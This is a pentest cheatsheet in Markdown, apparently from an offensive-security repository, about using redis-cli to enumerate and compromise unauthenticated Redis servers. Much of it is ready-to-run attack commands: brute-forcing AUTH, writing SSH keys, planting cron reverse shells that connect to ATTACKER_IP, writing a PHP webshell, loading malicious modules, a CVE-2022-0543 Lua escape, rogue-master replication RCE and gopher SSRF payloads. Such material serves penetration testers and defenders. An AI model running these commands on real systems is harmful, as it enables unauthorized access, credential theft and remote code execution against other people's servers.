daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

redis-cli.md (20072B)


      1 ---
      2 title: "redis-cli"
      3 description: "redis-cli connection syntax, the interactive REPL and non-interactive flags, plus using it as the pentest tool of choice for unauthenticated Redis: enumeration, CONFIG-based SSH key/cron writes, and module-load RCE."
      4 category: tools
      5 tags: [tools, redis, enumeration, exploitation, acl, rce, ssrf]
      6 tools: [redis-cli, nmap, gopherus, redis-rogue-server]
      7 difficulty: intermediate
      8 updated: "2026-09-25"
      9 ---
     10 
     11 # redis-cli
     12 
     13 > **redis-cli** — the official command-line client shipped with Redis, used both to administer a legitimate instance and (offensively) to talk directly to an unauthenticated or credentialed [Redis](https://redis.io/) service (default port **6379/tcp**) during enumeration and exploitation. Redis ships with **no authentication by default** and historically binds to all interfaces, making it one of the highest-value "low-hanging fruit" services in internal/HTB engagements — see [Service Enumeration → Redis](/sheets/pentest-workflow/service-enumeration) and [Attack Flow Guide](/sheets/pentest-workflow/attack-flow-guide) for the workflow-stage version of this content.
     14 
     15 ## Installation
     16 
     17 ```bash
     18 # macOS (Homebrew) — installs redis-server + redis-cli together, no separate cask
     19 brew install redis
     20 
     21 # Debian / Ubuntu — client only, no server
     22 sudo apt install redis-tools
     23 
     24 # Debian / Ubuntu — full package (server + client)
     25 sudo apt install redis-server
     26 
     27 # Kali — preinstalled; if missing:
     28 sudo apt install redis-tools
     29 
     30 # From source (any *nix, when the target's version matters for a specific CVE)
     31 git clone https://github.com/redis/redis.git && cd redis && make
     32 ./src/redis-cli --version
     33 ```
     34 
     35 ```bash
     36 redis-cli --version    # e.g. "redis-cli 8.10.1"
     37 redis-cli --help       # full flag list
     38 ```
     39 
     40 ## Connecting
     41 
     42 ```bash
     43 redis-cli -h 10.10.10.100                        # default port 6379, no auth
     44 redis-cli -h 10.10.10.100 -p 6380                 # custom port
     45 redis-cli -h 10.10.10.100 -a 'S3cr3tPass'         # AUTH password (warns: password on cmdline visible in ps/history)
     46 redis-cli -h 10.10.10.100 -a 'S3cr3tPass' --no-auth-warning   # suppress that warning
     47 redis-cli -h 10.10.10.100 --user default -a 'pass'            # Redis 6+ ACL username
     48 redis-cli -h 10.10.10.100 -n 3                    # select logical DB 3 (of 16, default 0)
     49 redis-cli -u redis://default:pass@10.10.10.100:6379/0          # connection-string form
     50 redis-cli -h 10.10.10.100 --tls --cacert ca.pem   # TLS-enabled instance (Redis 6+ w/ TLS build)
     51 redis-cli -h 10.10.10.100 -3                      # force RESP3 protocol (HELLO)
     52 ```
     53 
     54 Once connected you land in the interactive prompt: `10.10.10.100:6379>`. Any command below also works as a one-shot non-interactive call: `redis-cli -h $IP <command> <args>`.
     55 
     56 ## Core Flags
     57 
     58 | Flag | Description |
     59 |------|-------------|
     60 | `-h <host>` | Target host (default `127.0.0.1`) |
     61 | `-p <port>` | Target port (default `6379`) |
     62 | `-a <password>` | Password for `AUTH` (or `-a ""` to test empty-password auth) |
     63 | `--user <name>` | ACL username (Redis 6+), paired with `-a` |
     64 | `-n <db>` | Select DB index after connecting (`0`–`15` by default) |
     65 | `-x` | Read the **last argument** from stdin — used for pipe-writing binary/file data into a key |
     66 | `--no-raw` | Force human-readable formatted output (useful when scripting expects raw) |
     67 | `--csv` | Output replies in CSV format |
     68 | `-r <n>` | Repeat the command `n` times |
     69 | `-i <secs>` | Interval between repeats (with `-r`) |
     70 | `--scan` | Non-interactively run a full `SCAN` cursor loop, printing every key |
     71 | `--pattern <glob>` | Filter `--scan` results by key-name glob |
     72 | `--bigkeys` | Sample the keyspace and report the largest key per data type |
     73 | `--stat` | Continuously print `INFO`-derived stats (like `top` for Redis) |
     74 | `--latency` | Measure round-trip latency to the server |
     75 | `--rdb <file>` | Download the server's RDB snapshot over the wire (via `SYNC`; works against old servers too, no filesystem access needed) |
     76 | `--pipe` | Pipe raw RESP-protocol commands from stdin for mass loading (fastest bulk insert) |
     77 | `--cluster <cmd>` | Redis Cluster admin subcommands (`check`, `info`, `reshard`, …) |
     78 
     79 ## Enumeration — Is It Actually Unauthenticated?
     80 
     81 ```bash
     82 redis-cli -h $IP PING                    # "PONG" with no AUTH = unauthenticated
     83 redis-cli -h $IP INFO                    # full server/replication/keyspace info if unauth
     84 redis-cli -h $IP INFO server | head      # just the version/os/build section
     85 ```
     86 
     87 - **`PONG`/data returned** → no auth required, proceed straight to enumeration.
     88 - **`(error) NOAUTH Authentication required.`** → auth is enabled; try `-a ""` (empty password), common default/weak creds, or move on.
     89 
     90 ```bash
     91 # Fast unauth check across a subnet (no redis-cli loop needed)
     92 nmap -p6379 --script redis-info -sV 10.10.10.0/24
     93 ```
     94 
     95 ## Enumeration Commands
     96 
     97 ```bash
     98 redis-cli -h $IP INFO                    # everything: version, OS, uptime, memory, replication, persistence
     99 redis-cli -h $IP CONFIG GET '*'          # dump the entire live config (dir, dbfilename, requirepass, logfile, ...)
    100 redis-cli -h $IP CONFIG GET dir          # working directory the server writes to
    101 redis-cli -h $IP CONFIG GET requirepass  # empty string back = no password set, even if you got this far via other auth
    102 redis-cli -h $IP DBSIZE                  # key count in the selected DB
    103 redis-cli -h $IP CLIENT LIST             # connected clients, their addresses and idle time
    104 redis-cli -h $IP CLIENT GETNAME
    105 redis-cli -h $IP KEYS '*'                # list every key — blocking, avoid on large/prod DBs
    106 redis-cli -h $IP --scan --pattern '*'    # same result, non-blocking cursor iteration (prefer this)
    107 redis-cli -h $IP TYPE keyname            # string/list/set/zset/hash/stream
    108 redis-cli -h $IP GET keyname             # read a string key
    109 redis-cli -h $IP LRANGE keyname 0 -1     # read a full list
    110 redis-cli -h $IP SMEMBERS keyname        # read a full set
    111 redis-cli -h $IP HGETALL keyname         # read a full hash
    112 redis-cli -h $IP ZRANGE keyname 0 -1 WITHSCORES  # read a full sorted set
    113 redis-cli -h $IP --bigkeys               # find the biggest keys — often config/session/cache dumps worth reading
    114 ```
    115 
    116 > [!tip] Credential and secret hunting
    117 > Redis is frequently used as a **session store, cache, or job queue**. `KEYS '*'`/`--scan` followed by targeted `GET`/`HGETALL`/`LRANGE` on interesting-looking keys (`session:*`, `celery`, `laravel:*`, `*token*`, `*password*`) regularly yields live session tokens, API keys, or app secrets without needing to exploit anything.
    118 
    119 ## AUTH, ACLs & Brute Forcing
    120 
    121 When `AUTH` is required, enumerate the ACL surface. Redis 6+ has named users; earlier builds only a single global `requirepass`.
    122 
    123 ```bash
    124 redis-cli -h $IP ACL WHOAMI                  # current user — "default" before any AUTH
    125 redis-cli -h $IP ACL LIST                    # every user + rule string (keys, cmds, hashed pw)
    126 redis-cli -h $IP ACL USERS                   # just the usernames
    127 redis-cli -h $IP ACL GETUSER default         # full permission breakdown for one user
    128 redis-cli -h $IP ACL CAT                     # command categories (@admin, @dangerous, @scripting...)
    129 redis-cli -h $IP CONFIG GET requirepass      # leaks the plaintext default password once you can read config
    130 ```
    131 
    132 `AUTH` has two forms — the legacy single-arg (user `default`) and the Redis 6+ two-arg for named ACL users:
    133 
    134 ```bash
    135 # In the REPL after connecting:
    136 AUTH S3cr3tPass                              # legacy: authenticate as "default"
    137 AUTH alice S3cr3tPass                        # Redis 6+: authenticate as ACL user "alice"
    138 
    139 # From the shell (password on cmdline — pair with --no-auth-warning):
    140 redis-cli -h $IP --user alice -a 'S3cr3tPass' --no-auth-warning ACL WHOAMI
    141 ```
    142 
    143 Brute forcing `AUTH`:
    144 
    145 ```bash
    146 nmap -p6379 --script redis-brute $IP         # NSE, targets the default user
    147 
    148 # Metasploit
    149 msfconsole -q -x "use auxiliary/scanner/redis/redis_login; set RHOSTS $IP; set PASS_FILE /usr/share/wordlists/rockyou.txt; run; exit"
    150 
    151 # Manual loop (default user)
    152 while read -r p; do
    153   redis-cli -h $IP -a "$p" --no-auth-warning PING 2>/dev/null | grep -q PONG && { echo "[+] valid: $p"; break; }
    154 done < /usr/share/wordlists/rockyou.txt
    155 ```
    156 
    157 > [!tip] Cracking ACL password hashes
    158 > `ACL LIST` / `ACL GETUSER <user>` print each user's password as a **SHA-256 hash** (`#<64-hex>`). Pull them and crack offline with hashcat mode **1400** (raw SHA-256). `CONFIG GET requirepass` returns the *plaintext* `default` password outright once you can read config — always grab it for reuse/spray.
    159 
    160 > [!warning] Redis version gates the ACL system
    161 > `ACL *` commands only exist on **Redis ≥ 6**. On older servers they return `(error) ERR unknown command 'ACL'` — which itself fingerprints a pre-6 build that only supports a single global `requirepass`.
    162 
    163 ## Exploitation — SSH Key / authorized_keys Write
    164 
    165 Classic technique when Redis runs as a user with a writable home directory (often the `redis` service account, sometimes `root` on a badly-configured box).
    166 
    167 ```bash
    168 # 1. Generate a keypair on your attacking box
    169 ssh-keygen -t rsa -b 4096 -f redis_key -N ""
    170 
    171 # 2. Confirm the target dir is writable by the redis process
    172 redis-cli -h $IP CONFIG GET dir
    173 
    174 # 3. Point Redis's save-dir/save-file at the SSH authorized_keys location
    175 redis-cli -h $IP CONFIG SET dir /var/lib/redis/.ssh
    176 redis-cli -h $IP CONFIG SET dbfilename authorized_keys
    177 
    178 # 4. Write the public key as a string value with padding newlines, then flush to disk
    179 (echo -e "\n\n"; cat redis_key.pub; echo -e "\n\n") | redis-cli -h $IP -x SET sshkey
    180 redis-cli -h $IP SAVE
    181 
    182 # 5. Connect
    183 ssh -i redis_key redis@$IP
    184 ```
    185 
    186 > [!warning] Destructive and environment-dependent
    187 > `SAVE` rewrites the server's on-disk RDB file — do this only in a lab or against an explicitly in-scope target, and prefer snapshotting the original `dir`/`dbfilename` values first (`CONFIG GET dir` / `CONFIG GET dbfilename`) so you can restore them. `CONFIG SET dir` fails silently-ish (`(error) ERR ... Changing directory: ...`) if the redis user can't write there — pick a directory the service actually owns (its own data dir is the safe bet if `.ssh` isn't writable). Root often doesn't run Redis anymore on modern distros; check `INFO server` → `process_id` and `/proc/<pid>/status` (if you get a shell another way) for the real run-as user first.
    188 
    189 ## Exploitation — Cron-Based Reverse Shell
    190 
    191 Alternative to SSH-key write when `/etc/cron.d/` (or the target user's crontab spool) is writable instead of `~/.ssh/`.
    192 
    193 ```bash
    194 redis-cli -h $IP CONFIG SET dir /var/spool/cron/crontabs
    195 redis-cli -h $IP CONFIG SET dbfilename root      # or the target cron user's name
    196 
    197 redis-cli -h $IP SET cronjob "\n\n* * * * * bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'\n\n"
    198 redis-cli -h $IP SAVE
    199 
    200 # Debian/Ubuntu cron.d syntax instead needs a run-as-user field:
    201 redis-cli -h $IP CONFIG SET dir /etc/cron.d
    202 redis-cli -h $IP CONFIG SET dbfilename malicious
    203 redis-cli -h $IP SET x "\n* * * * * root bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'\n"
    204 redis-cli -h $IP SAVE
    205 ```
    206 
    207 Catch it with `pwncat-cs -lp 4444` / `rustcat listen -p 4444` / `nc -lvnp 4444`, wait up to 60s for cron to fire.
    208 
    209 ## Exploitation — Webshell into a Web Root
    210 
    211 When Redis and a web server share a host, redirect the RDB dump into the web root instead of `~/.ssh`/cron — same `CONFIG SET dir` + `dbfilename` + `SAVE` primitive.
    212 
    213 ```bash
    214 redis-cli -h $IP CONFIG SET dir /var/www/html      # or /usr/share/nginx/html, C:\xampp\htdocs, C:\inetpub\wwwroot
    215 redis-cli -h $IP CONFIG SET dbfilename shell.php
    216 redis-cli -h $IP SET webshell '<?php system($_GET["cmd"]); ?>'
    217 redis-cli -h $IP SAVE
    218 
    219 curl "http://$IP/shell.php?cmd=id"                  # trigger through the web server
    220 ```
    221 
    222 > [!tip] Why the binary RDB still runs
    223 > `SAVE` wraps your value in RDB header/footer bytes, but PHP ignores everything outside the `<?php ... ?>` tags and executes only your block — so a dumped RDB is a valid webshell. You must know (or leak via LFI, `CONFIG GET dir`, or a server error) the real web-root path first; a wrong `dir` writes nothing reachable. Same idea works for a `.jsp`/`.aspx` payload against the matching stack.
    224 
    225 ## Exploitation — Module Load RCE (Redis ≥ 4.x, module loading enabled)
    226 
    227 If `CONFIG GET dir`/write access works but there's no cron or SSH path, and the server allows `MODULE LOAD` (disabled by default on hardened/managed Redis but common on self-hosted boxes):
    228 
    229 ```bash
    230 # Build or fetch a malicious .so (e.g. RedisModules-ExecuteCommand)
    231 git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
    232 cd RedisModules-ExecuteCommand && make
    233 
    234 # Upload the module via SET + SAVE, same CONFIG SET dir/dbfilename trick as above,
    235 # pointed at a filename ending in .so and the server's dir
    236 redis-cli -h $IP CONFIG SET dir /tmp
    237 redis-cli -h $IP CONFIG SET dbfilename exp.so
    238 cat module.so | redis-cli -h $IP -x SET payload
    239 redis-cli -h $IP SAVE
    240 
    241 redis-cli -h $IP MODULE LOAD /tmp/exp.so
    242 redis-cli -h $IP system.exec "id"           # command exposed by the loaded module
    243 ```
    244 
    245 Fully automated versions of both the SSH-key and module-RCE paths: [redis-rogue-server](https://github.com/n0b0dyCN/redis-rogue-server) and the Metasploit `exploit/linux/redis/redis_replication_cmd_exec` (module RCE) / `auxiliary/scanner/redis/file_upload` (RDB file write) modules.
    246 
    247 ## Exploitation — Lua Sandbox / EVAL RCE (CVE-2022-0543)
    248 
    249 `EVAL` runs server-side Lua. Upstream Redis sandboxes it, but Debian/Ubuntu's packaging (**CVE-2022-0543**) left the Lua `package`/`os`/`io` libs reachable — a full RCE with no `CONFIG`/`MODULE`/write access at all.
    250 
    251 ```bash
    252 # Baseline — does EVAL work, and what's the working dir?
    253 redis-cli -h $IP EVAL "return 'lua-ok'" 0
    254 redis-cli -h $IP EVAL "return redis.call('CONFIG','GET','dir')" 0
    255 
    256 # CVE-2022-0543 — Debian/Ubuntu Lua sandbox escape (numkeys = 0)
    257 redis-cli -h $IP EVAL 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
    258 ```
    259 
    260 > [!warning] Distro- and version-specific
    261 > CVE-2022-0543 affects only **Debian/Ubuntu-packaged** Redis (not upstream builds); fixed in the 2022 Debian security updates. The `liblua5.1.so.0` path varies by distro/arch — `x86_64-linux-gnu` is the Debian/Ubuntu amd64 path; confirm with `find / -name 'liblua5.1*' 2>/dev/null` if you already have a foothold. On patched/non-Debian targets EVAL stays sandboxed — fall back to the `CONFIG`/`MODULE`/replication paths.
    262 
    263 ## Replication-Based RCE (Master/Slave Abuse)
    264 
    265 Redis 4/5's replication feature can be abused to load an attacker-controlled `.so` module without ever touching the filesystem via `SAVE`:
    266 
    267 ```bash
    268 # Tools like redis-rogue-server automate this: spin up a rogue "master" Redis,
    269 # issue SLAVEOF to point the target at it, then push the module through the sync stream.
    270 python3 redis-rogue-server.py --rhost $IP --rport 6379 --lhost ATTACKER_IP --lport 21000
    271 ```
    272 
    273 Preferred when `CONFIG SET dir` is locked down (protected-mode-style hardening) but `SLAVEOF`/`REPLICAOF` is still callable.
    274 
    275 ### Manual master/replica abuse (what the tools automate)
    276 
    277 ```bash
    278 # Recon: replication role + module surface first
    279 redis-cli -h $IP ROLE                           # "master"/"slave" + linked replicas
    280 redis-cli -h $IP INFO replication               # role, connected_slaves, master_link_status
    281 redis-cli -h $IP MODULE LIST                     # already-loaded modules (empty is normal)
    282 
    283 # 1. On ATTACKER: serve exp.so from a rogue master (redis-rogue-server /
    284 #    RedisModules-ExecuteCommand's module) on e.g. 21000
    285 # 2. Point the target's replication at your rogue master:
    286 redis-cli -h $IP REPLICAOF ATTACKER_IP 21000    # SLAVEOF on Redis < 5 (still aliased on 5+)
    287 redis-cli -h $IP MODULE LOAD ./exp.so           # loads the module synced over the replica stream
    288 redis-cli -h $IP system.exec "id"               # RCE via the module's command
    289 # 3. Detach + unload to clean up
    290 redis-cli -h $IP REPLICAOF NO ONE
    291 redis-cli -h $IP MODULE UNLOAD system           # module registers as "system" — confirm via MODULE LIST
    292 ```
    293 
    294 ## RESP Protocol SSRF (gopher://)
    295 
    296 Redis's RESP protocol also accepts **inline commands** — plaintext, space-separated, CRLF-terminated, no handshake — so a web-app SSRF that can reach an internal `6379` can drive Redis via `gopher://` even when you can't point `redis-cli` at it directly.
    297 
    298 ```bash
    299 # Inline protocol proof over a raw socket (no redis-cli needed)
    300 printf 'INFO\r\nQUIT\r\n' | nc $IP 6379
    301 
    302 # Build the gopher:// payload (SSH-key/cron write, or Lua RCE) with Gopherus
    303 gopherus --exploit redis                        # interactive: reverse shell / ssh key / php shell
    304 ```
    305 
    306 > [!tip] Encoding & full workflow
    307 > Gopher payloads usually need **double URL-encoding** (`%250d%250a` for CRLF) when the app decodes the parameter once before the SSRF fires. The complete SSRF payload table and blind-SSRF tips live in [Web Enumeration & Exploitation](/sheets/pentest-workflow/web-enumeration-and-exploitation).
    308 
    309 ## Non-Interactive & Scripting Usage
    310 
    311 ```bash
    312 # One-shot command (no REPL) — good for scripting/loops
    313 redis-cli -h $IP GET mykey
    314 
    315 # Pipe a script of commands (one per line) in non-interactively
    316 cat commands.txt | redis-cli -h $IP
    317 
    318 # EVAL — run server-side Lua; useful both for admin tasks and, historically, for
    319 # sandbox-escape RCE research (patched in modern Redis, still worth checking version)
    320 redis-cli -h $IP EVAL "return redis.call('GET', KEYS[1])" 1 mykey
    321 
    322 # Mass-insert benchmark/seed data fast (raw RESP protocol over --pipe)
    323 redis-cli -h $IP --pipe < mass_insert_commands.resp
    324 
    325 # Monitor every command hitting the server in real time (great for watching an app's traffic)
    326 redis-cli -h $IP MONITOR
    327 
    328 # Download the RDB snapshot without needing filesystem/SAVE access
    329 redis-cli -h $IP --rdb /tmp/dump.rdb
    330 ```
    331 
    332 ## Cleanup
    333 
    334 If you wrote to `dir`/`dbfilename`, restore them to avoid leaving the box in a broken state:
    335 
    336 ```bash
    337 redis-cli -h $IP CONFIG SET dir <original_dir>
    338 redis-cli -h $IP CONFIG SET dbfilename <original_dbfilename>
    339 redis-cli -h $IP DEL sshkey cronjob payload x   # remove any keys you added
    340 ```
    341 
    342 ## Troubleshooting
    343 
    344 | Problem | Solution |
    345 |---------|----------|
    346 | `(error) NOAUTH Authentication required.` | Try `-a ""`, weak default creds, or move on — no unauth exploitation available |
    347 | `CONFIG SET dir` errors / silently doesn't stick | Redis process can't write there; pick a dir it already owns (check `CONFIG GET dir` first) |
    348 | `SAVE` returns fine but nothing lands on disk | Wrong `dbfilename`/`dir` combo, or `save` points elsewhere — confirm with `CONFIG GET save` / `LASTSAVE` |
    349 | `MODULE LOAD` unsupported / returns error | `enable-module-command` disabled (default since Redis 7) — fall back to SSH-key/cron write instead |
    350 | Cron reverse shell never fires | Check the crontab syntax landed correctly (`cat` the file back via `GET`), confirm the cron daemon actually reads that spool path |
    351 | Connection refused / times out | Redis often binds `127.0.0.1` only on hardened hosts — you need a foothold or SSRF (see gopher payload below) to reach it |
    352 | Need to reach Redis via a web SSRF, not directly | Build a `gopher://` payload with [Gopherus](https://github.com/tarunkant/Gopherus) — see [Web Enumeration & Exploitation](/sheets/pentest-workflow/web-enumeration-and-exploitation) |
    353 
    354 ## See Also
    355 
    356 - **[Service Enumeration](/sheets/pentest-workflow/service-enumeration)** — Redis inside the broader stage-by-stage triage workflow.
    357 - **[Attack Flow Guide](/sheets/pentest-workflow/attack-flow-guide)** — the condensed one-liner version of the SSH-key-write chain.
    358 - **[Anonymous / Null-Session Testing](/sheets/enumeration/anonymous-null-testing)** — Redis alongside SMB/LDAP/FTP/SNMP/NFS/MongoDB unauth checks.
    359 - **[fscan](/sheets/tools/fscan)** — automates Redis detection + SSH-key/cron exploitation across a whole subnet.
    360 
    361 Based on redis-cli 8.x (Redis 8.10.1) — https://redis.io/docs/latest/develop/tools/cli/